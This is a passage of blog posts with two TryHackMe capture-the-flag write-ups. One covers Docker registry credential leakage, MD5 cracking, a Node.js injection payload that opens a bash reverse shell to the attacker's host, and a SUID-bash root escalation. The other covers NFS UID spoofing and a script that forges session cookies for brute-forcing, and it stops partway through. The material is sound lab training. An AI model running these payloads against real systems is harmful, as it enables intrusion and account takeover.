    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root:*:19345:0:99999:7:::
daemon:*:19345:0:99999:7:::
bin:*:19345:0:99999:7:::
sys:*:19345:0:99999:7:::
sync:*:19345:0:99999:7:::
games:*:19345:0:99999:7:::
man:*:19345:0:99999:7:::
lp:*:19345:0:99999:7:::
mail:*:19345:0:99999:7:::
news:*:19345:0:99999:7:::
uucp:*:19345:0:99999:7:::
proxy:*:19345:0:99999:7:::
www-data:*:19345:0:99999:7:::
backup:*:19345:0:99999:7:::
list:*:19345:0:99999:7:::
irc:*:19345:0:99999:7:::
gnats:*:19345:0:99999:7:::
nobody:*:19345:0:99999:7:::
_apt:*:19345:0:99999:7:::
node:!:19347:0:99999:7:::
</code></pre></div>    </div>
  </li>
</ol>

<p>In one of those compressed archives - we have whole application logic - let’s see the <code class="language-plaintext highlighter-rouge">auth</code> part</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// http://localhost:8080/auth</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/auth</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">request</span><span class="p">,</span> <span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
	
	<span class="kd">let</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">username</span><span class="p">;</span>
	<span class="kd">let</span> <span class="nx">password</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">password</span><span class="p">;</span>	
	
	<span class="k">if</span> <span class="p">(</span><span class="nx">username</span> <span class="o">&amp;&amp;</span> <span class="nx">password</span><span class="p">)</span> <span class="p">{</span>
		
		<span class="kd">let</span> <span class="nx">hash</span> <span class="o">=</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">createHash</span><span class="p">(</span><span class="dl">'</span><span class="s1">md5</span><span class="dl">'</span><span class="p">).</span><span class="nx">update</span><span class="p">(</span><span class="nx">password</span><span class="p">).</span><span class="nx">digest</span><span class="p">(</span><span class="dl">"</span><span class="s2">hex</span><span class="dl">"</span><span class="p">);</span>
		
		<span class="nx">connection</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span><span class="dl">'</span><span class="s1">SELECT * FROM users WHERE user = ? AND pass = ?</span><span class="dl">'</span><span class="p">,</span> <span class="p">[</span><span class="nx">username</span><span class="p">,</span> <span class="nx">hash</span><span class="p">],</span> <span class="kd">function</span><span class="p">(</span><span class="nx">error</span><span class="p">,</span> <span class="nx">results</span><span class="p">,</span> <span class="nx">fields</span><span class="p">)</span> <span class="p">{</span>
			
			<span class="k">if</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
				<span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">,</span> <span class="dl">"</span><span class="s2">error</span><span class="dl">"</span><span class="p">)</span>
			<span class="p">};</span>
			
			<span class="k">if</span> <span class="p">(</span><span class="nx">results</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
				
				<span class="nx">request</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">loggedin</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
				<span class="nx">request</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">username</span> <span class="o">=</span> <span class="nx">username</span><span class="p">;</span>		
				<span class="nx">log</span><span class="p">(</span><span class="s2">`User </span><span class="p">${</span><span class="nx">username</span><span class="p">}</span><span class="s2"> logged in`</span><span class="p">,</span> <span class="dl">"</span><span class="s2">info</span><span class="dl">"</span><span class="p">);</span>	
				<span class="nx">response</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">);</span>	
			<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
				<span class="nx">log</span><span class="p">(</span><span class="s2">`User </span><span class="p">${</span><span class="nx">username</span><span class="p">}</span><span class="s2"> tried to log in with pass </span><span class="p">${</span><span class="nx">password</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="dl">"</span><span class="s2">warn</span><span class="dl">"</span><span class="p">)</span>
				<span class="nx">response</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">);</span>	
			<span class="p">}</span> 					
		<span class="p">});</span>		
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="nx">response</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">);</span>	
	<span class="p">}</span> 	

<span class="p">});</span>
</code></pre></div></div>

<p>First of all - passwords are hashed in <code class="language-plaintext highlighter-rouge">md5</code> - If we access them, we can easily crack them
Second of all - every successfull and unsuccessfull try is loged into log file</p>

<p><code class="language-plaintext highlighter-rouge">log</code> function looks like this</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">logfile</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">createWriteStream</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">LOG_FILE</span><span class="p">,</span> <span class="p">{</span><span class="na">flags</span><span class="p">:</span> <span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">});</span>

<span class="kd">var</span> <span class="nx">log</span> <span class="o">=</span> <span class="p">(</span><span class="nx">message</span><span class="p">,</span> <span class="nx">level</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="nx">format_message</span> <span class="o">=</span> <span class="s2">`[</span><span class="p">${</span><span class="nx">level</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">()}</span><span class="s2">] </span><span class="p">${</span><span class="nx">message</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
	<span class="nx">logfile</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">format_message</span> <span class="o">+</span> <span class="dl">"</span><span class="se">\n</span><span class="dl">"</span><span class="p">)</span>
	<span class="k">if</span> <span class="p">(</span><span class="nx">level</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">warn</span><span class="dl">"</span><span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
	<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">level</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">error</span><span class="dl">"</span><span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
	<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">level</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">info</span><span class="dl">"</span><span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">info</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
	<span class="k">else</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Sadly it’s name is only in enviromental variables - so we can’t really access it directly</p>

<p>But, let’s get the docker image</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo docker pull $IP:5000/umbrella/timetracking:latest
</code></pre></div></div>

<p>Then, after checking history we see</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo docker history  $IP:5000/umbrella/timetracking:latest
IMAGE          CREATED         CREATED BY                                      SIZE      COMMENT
7843f102a2fc   13 months ago   /bin/sh -c #(nop)  CMD ["node" "app.js"]        0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  EXPOSE 8080                  0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop) COPY file:15724d44e98203ba…   3.24kB    
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop) COPY dir:f4893f0d1db8ba309…   1.87kB    
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop) COPY dir:b1f43f22176dce6e1…   2.56kB    
&lt;missing&gt;      13 months ago   /bin/sh -c npm install                          8.15MB    
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop) COPY multi:8ea3cb977bb32fa…   64.3kB    
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENV LOG_FILE=/logs/tt.log    0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENV DB_DATABASE=timetrack…   0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENV DB_PASS=Ng1-f3!Pe7-e5…   0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENV DB_USER=root             0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENV DB_HOST=db               0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop) WORKDIR /usr/src/app          0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  CMD ["node"]                 0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENTRYPOINT ["docker-entry…   0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop) COPY file:4d192565a7220e13…   388B      
&lt;missing&gt;      13 months ago   /bin/sh -c set -ex   &amp;&amp; savedAptMark="$(apt-…   9.49MB    
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENV YARN_VERSION=1.22.19     0B        
&lt;missing&gt;      13 months ago   /bin/sh -c ARCH= &amp;&amp; dpkgArch="$(dpkg --print…   157MB     
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  ENV NODE_VERSION=19.3.0      0B        
&lt;missing&gt;      13 months ago   /bin/sh -c groupadd --gid 1000 node   &amp;&amp; use…   333kB     
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop)  CMD ["bash"]                 0B        
&lt;missing&gt;      13 months ago   /bin/sh -c #(nop) ADD file:73e68ae6852c9afbb…   80.5MB
</code></pre></div></div>
<p>As we see it’s all stored in enviromental variables</p>

<p>Then, we can start shell check <code class="language-plaintext highlighter-rouge">env</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo docker run -it $IP:5000/umbrella/timetracking:latest bash
# env
HOSTNAME=a94df8ac7d25
YARN_VERSION=1.22.19
PWD=/home/node
DB_USER=root
HOME=/root
LOG_FILE=/logs/tt.log
TERM=xterm
DB_HOST=db
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=19.3.0
DB_DATABASE=timetracking
DB_PASS=[REDACTED]
_=/usr/bin/env
OLDPWD=/root
</code></pre></div></div>

<p>That’s how we have DB password - I couldn’t break out of docker, so let’s check MySQL</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mysql -u root -h $IP -p
</code></pre></div></div>

<p>After inputting password - we get mysql shell</p>

<p>Let’s see databases</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MySQL [(none)]&gt; SHOW databases
    -&gt; ;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| timetracking       |
+--------------------+
5 rows in set (0,050 sec)
</code></pre></div></div>

<p>Nothing that we don’t know - let’s see the <code class="language-plaintext highlighter-rouge">timetracking</code> database</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MySQL [(none)]&gt; USE timetracking;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [timetracking]&gt; SHOW tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users                  |
+------------------------+
1 row in set (0,042 sec)
	
</code></pre></div></div>

<p>There is one table - maybe it has something in it?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MySQL [timetracking]&gt; SELECT * FROM users
    -&gt; ;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+
4 rows in set (0,042 sec)
</code></pre></div></div>

<p>Oh, a bit of names - do you remember that code? It said that passwords are stored in <code class="language-plaintext highlighter-rouge">md5</code> - let’s move them to <code class="language-plaintext highlighter-rouge">hashes.txt</code> file and try to crack them</p>

<p>It looks like this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>claire-r:2ac9cb7dc02b3c0083eb70898e549b63 
chris-r:0d107d09f5bbe40cade3de5c71e9e9b7
jill-v:d5c0607301ad5d5c1528962a83992ac8
barry-b:4a04890400b5d7bac101baace5d7e994
</code></pre></div></div>

<p>Now, crack it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=Raw-md5
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]       (claire-r)	
[REDACTED]       (chris-r)     
[REDACTED]       (jill-v)     
[REDACTED]       (barry-b)     
3g 0:00:00:00 DONE (2024-01-20 20:22) 150.0g/s 441600p/s 441600c/s 518400C/s allstars..glorioso
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
</code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">claire-r</code> - we can log into ssh</p>

<p>Get user flag</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh claire-r@$IP
[...]
$ cat user.txt
[REDACTED]
</code></pre></div></div>

<h3 id="privilege-escalation">Privilege escalation</h3>

<p>Inside <code class="language-plaintext highlighter-rouge">~/timeTracker-src</code> there is logs directory</p>

<p>When we log into the webiste with one of that credentials - we can spawn reverse shell</p>

<p>Start listener</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp [PORT]
</code></pre></div></div>
<p>Replace <code class="language-plaintext highlighter-rouge">[PORT]</code> with some normal port (like 1337 or whatever)
To do it - I intercepted request in burp and replaced <code class="language-plaintext highlighter-rouge">time</code> parameter with this payload</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">).</span><span class="nx">exec</span><span class="p">(</span><span class="dl">'</span><span class="s1">bash+-c+"bash+-i+&gt;%26+/dev/tcp/[YOUR IP]/[PORT]+0&gt;%261"</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div></div>

<p>Of course replace <code class="language-plaintext highlighter-rouge">[YOUR IP]</code> and <code class="language-plaintext highlighter-rouge">[PORT]</code> with your actual  IP and port you set in netcat</p>

<p>Then, we send the request and we have shell
Now in reverse shell - go to <code class="language-plaintext highlighter-rouge">/logs</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cd /logs
</code></pre></div></div>

<p>There is that log file - but wait</p>

<p>If we create file inside that directory - we can then access it from ssh</p>

<p>So, when I created <code class="language-plaintext highlighter-rouge">hello.txt</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># touch hello.txt
# echo "Hi" &gt;&gt; hello.txt
</code></pre></div></div>

<p>Then, in SSH I can read it and it was created as a root!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd ~/timeTracker-src/logs
$ ls -la
total 16
drwxrw-rw- 2 claire-r claire-r 4096 Jan 20 21:43 .
drwxrwxr-x 6 claire-r claire-r 4096 Jan 20 21:31 ..
-rw-r--r-- 1 root     root        3 Jan 20 21:43 hello.txt
-rw-r--r-- 1 root     root      441 Jan 20 21:39 tt.log

</code></pre></div></div>

<p>There is an interesting way of doing this privesc</p>

<p>From docker reverse shell:</p>
<ol>
  <li>copy <code class="language-plaintext highlighter-rouge">ss</code> binary with <code class="language-plaintext highlighter-rouge">/bin/bash</code> content into <code class="language-plaintext highlighter-rouge">logs</code> dir
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cp /bin/bash ss
</code></pre></div>    </div>
  </li>
  <li>Set it’s permissions to SUID
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># chmod u+sx ss
</code></pre></div>    </div>
  </li>
</ol>

<p>Now switch to <code class="language-plaintext highlighter-rouge">claire-r</code> SSH</p>
<ol>
  <li>run this binary as privileged user
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ss -p
#
</code></pre></div>    </div>
  </li>
</ol>

<p>Now, we can get root flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cat /root/root.txt
[REDACTED]
</code></pre></div></div>

<p>And that’s it - machine pwned</p>

<h2 id="conclusion">Conclusion</h2>

<p>To be fair - this was rather medium/hard difficulty than easy/medium</p>

<p>While I managed to get to user flag by myself - I had to look for help with root flag</p>

<p>And it took me approximately 1,5-2h to install docker properly on my kali linux</p>

<p>I learned something new about privilege escalation, contenerizing. Found out about Docker Registry and tools to enumerate it
And exploited (For the first time I think) - NodeJs</p>

<p>Share your feedback in comments - I’ll read them all</p>

<p>That’s it - check out my other articles and see you next time</p>]]></content><author><name>wizarddos</name></author><category term="tryhackme" /><summary type="html"><![CDATA[From what I’ve read in description - it’s based around some misconfigurations and docker I can spoil you this - privesc is interesting This challange is from TryHackMe]]></summary></entry><entry><title type="html">Hijack writeup (TryHackMe)</title><link href="https://wizarddos.github.io/blog/tryhackme/2023/11/25/hijack_writeup.html" rel="alternate" type="text/html" title="Hijack writeup (TryHackMe)" /><published>2023-11-25T00:00:00+00:00</published><updated>2023-11-25T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/tryhackme/2023/11/25/hijack_writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/tryhackme/2023/11/25/hijack_writeup.html"><![CDATA[<p>This challange is offensive one and based of hijacking from TryHackMe</p>

<p>So, let’s start with nmap scan</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nmap -sC -sV -oN scan.txt $IP
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:ee:e5:23:de:79:6a:8d:63:f0:48:b8:62:d9:d7:ab (RSA)
|   256 42:e9:55:1b:d3:f2:04:b6:43:b2:56:a3:23:46:72:c7 (ECDSA)
|_  256 27:46:f6:54:44:98:43:2a:f0:59:ba:e3:b6:73:d3:90 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      35107/tcp   mountd
|   100005  1,2,3      42780/tcp6  mountd
|   100005  1,2,3      47775/udp6  mountd
|   100005  1,2,3      59542/udp   mountd
|   100021  1,3,4      33676/tcp6  nlockmgr
|   100021  1,3,4      41049/tcp   nlockmgr
|   100021  1,3,4      46172/udp6  nlockmgr
|   100021  1,3,4      53469/udp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
2049/tcp open  nfs     2-4 (RPC #100003)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

</code></pre></div></div>

<p>So, we have 4 services - <code class="language-plaintext highlighter-rouge">ftp</code>, <code class="language-plaintext highlighter-rouge">ssh</code>, <code class="language-plaintext highlighter-rouge">rpcbind</code>, <code class="language-plaintext highlighter-rouge">http</code> and <code class="language-plaintext highlighter-rouge">nfs</code></p>

<p>I think we can start with <code class="language-plaintext highlighter-rouge">nfs</code> - maybe there are any mounts for us</p>

<h4 id="nfs-enumeration">NFS enumeration</h4>

<p>We can start with seeing what do we have to mount</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ showmount -e $IP
Export list for 10.10.124.164:
/mnt/share *
</code></pre></div></div>

<p>Okay, let’s mount it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mkdir share
$ sudo mount -t nfs $IP:/mnt/share share 
</code></pre></div></div>

<p>But when we try to open it, we get denied access</p>

<p>But there is a option to bypass it - let’s see it’s privileges</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -la
[...]
-rw-r--r--  1 wizarddos wizarddos 1644 10-24 19:27 scan.txt
drwx------  2 1003           1003 4096 08-08 21:28 share

</code></pre></div></div>

<p>It means, that this folder is owned by user with uid = 1003 -  so we need to update our uid or create a new user with that uid</p>

<p>I’ve created a dummy one</p>

<p>switch to root and create a user</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo su
[...]
# useradd 1003
</code></pre></div></div>

<p>And then edit <code class="language-plaintext highlighter-rouge">/etc/passwd</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># nano /etc/passwd
</code></pre></div></div>

<p>Find a user with name <code class="language-plaintext highlighter-rouge">1003</code> and change his line to this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1003:x:1003:1003::/home/1003:/bin/sh
</code></pre></div></div>

<p>Then we can easily access <code class="language-plaintext highlighter-rouge">share</code> folder - let’s see it</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ su 1003

$ ls -la share
drwx------ 2 1003           1003 4096 08-08 21:28 .
drwxr-xr-x 3 wizarddos wizarddos 4096 10-24 19:35 ..
-rwx------ 1 1003           1003   46 08-08 21:28 for_employees.txt
</code></pre></div></div>
<p>There is one text file, let’s see it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat for_employees.txt
ftp creds :

[REDACTED]
</code></pre></div></div>

<p>We have credentials for <code class="language-plaintext highlighter-rouge">ftp</code> - That’s our next step</p>

<h4 id="ftp-enumeration">FTP enumeration</h4>
<p>Log into ftp</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ftp $IP
</code></pre></div></div>

<p>We are in - check content of it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp&gt; ls -la
229 Entering Extended Passive Mode (|||40051|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Aug 08 19:28 .
drwxr-xr-x    2 1002     1002         4096 Aug 08 19:28 ..
-rwxr-xr-x    1 1002     1002          220 Aug 08 19:28 .bash_logout
-rwxr-xr-x    1 1002     1002         3771 Aug 08 19:28 .bashrc
-rw-r--r--    1 1002     1002          368 Aug 08 19:28 .from_admin.txt
-rw-r--r--    1 1002     1002         3150 Aug 08 19:28 .passwords_list.txt
-rwxr-xr-x    1 1002     1002          655 Aug 08 19:28 .profile

</code></pre></div></div>
<p>Oh, we have a bit of interesting stuff here - let’s download  <code class="language-plaintext highlighter-rouge">.passwords_list.txt</code> and <code class="language-plaintext highlighter-rouge">.from_admin.txt</code> - then we can exit <code class="language-plaintext highlighter-rouge">ftp</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp&gt; get .passwords_list.txt
local: .passwords_list.txt remote: .passwords_list.txt
229 Entering Extended Passive Mode (|||63909|)
150 Opening BINARY mode data connection for .passwords_list.txt (3150 bytes).
100% |***********************************************************************|  3150      754.70 KiB/s    00:00 ETA
226 Transfer complete.
3150 bytes received in 00:00 (30.65 KiB/s)
ftp&gt; get .from_admin.txt
local: .from_admin.txt remote: .from_admin.txt
229 Entering Extended Passive Mode (|||18581|)
150 Opening BINARY mode data connection for .from_admin.txt (368 bytes).
100% |***********************************************************************|   368       45.42 KiB/s    00:00 ETA
226 Transfer complete.
368 bytes received in 00:00 (3.45 KiB/s)
ftp&gt; exit
</code></pre></div></div>
<p>Let’s see froma admin first</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat .from_admin.txt             
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.

NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
             
</code></pre></div></div>
<p>So we may have 2 accounts <code class="language-plaintext highlighter-rouge">rick</code> and <code class="language-plaintext highlighter-rouge">admin</code>. But let’s check <code class="language-plaintext highlighter-rouge">passwords_list.txt</code></p>

<p>I won’t be adding it here, but it looks like a bit of wordlist - save it and let’s check website now</p>

<h4 id="webstite-enumeration">Webstite enumeration</h4>

<p>On website I’ve created a user with credentials <code class="language-plaintext highlighter-rouge">user:user123</code></p>

<p>Then, I’ve logged in with it and something interesting happened</p>

<p>Instead of typical session id cookie I’ve had this base64 encoded string</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dXNlcjo2YWQxNGJhOTk4NmUzNjE1NDIzZGZjYTI1NmQwNGUzZg%3D%3D
</code></pre></div></div>

<p>After decoding it gave me</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user:6ad14ba9986e3615423dfca256d04e3f
</code></pre></div></div>

<p>It turns out - that hash is <code class="language-plaintext highlighter-rouge">md5</code> of our password.</p>

<p>From author of this wonderful box I’ve got a code for preparing this cookies</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">base64</span>

<span class="c1"># Open the file and read its lines
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'.passwords_list.txt'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readlines</span><span class="p">()</span>

<span class="c1"># Loop through the lines and modify each one
</span><span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
    <span class="c1"># Strip the line of bad characters
</span>    <span class="n">stripped_line</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">filter</span><span class="p">(</span><span class="nb">str</span><span class="p">.</span><span class="n">isalnum</span><span class="p">,</span> <span class="n">line</span><span class="p">))</span>
    <span class="c1"># Hash the stripped line using MD5
</span>    <span class="n">hashed_line</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">stripped_line</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)).</span><span class="n">hexdigest</span><span class="p">()</span>
    <span class="c1"># Add "admin:" to the beginning of the hash
</span>    <span class="n">modified_hash</span> <span class="o">=</span> <span class="s">'admin:'</span> <span class="o">+</span> <span class="n">hashed_line</span>
    <span class="c1"># Encode the modified hash to base64
</span>    <span class="n">encoded_hash</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">modified_hash</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
    <span class="c1"># Print the encoded hash
</span>    <span class="k">print</span><span class="p">(</span><span class="n">encoded_hash</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
</code></pre></div></div>

<p>I’ve edited a thing there - fixed the name of file. Then called it <code class="language-plaintext highlighter-rouge">oven.py</code> (as it “bakes” cookies :) )</p>

<p>And run it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 oven.py            
[base64 encoded cookies]
</code></pre></div></div>
<p>It looks like it works - let’s make a wordlist out of it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 oven.py &gt; cookies.txt
</code></pre></div></div>

<p>Now, with <code class="language-plaintext highlighter-rouge">wfuzz</code> we can get final session</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ wfuzz -u http://$IP/administration.php -w cookies.txt -X POST -b 'PHPSESSID= FUZZ' --hh 51
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.124.164/administration.php
Total requests: 150

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                            
=====================================================================

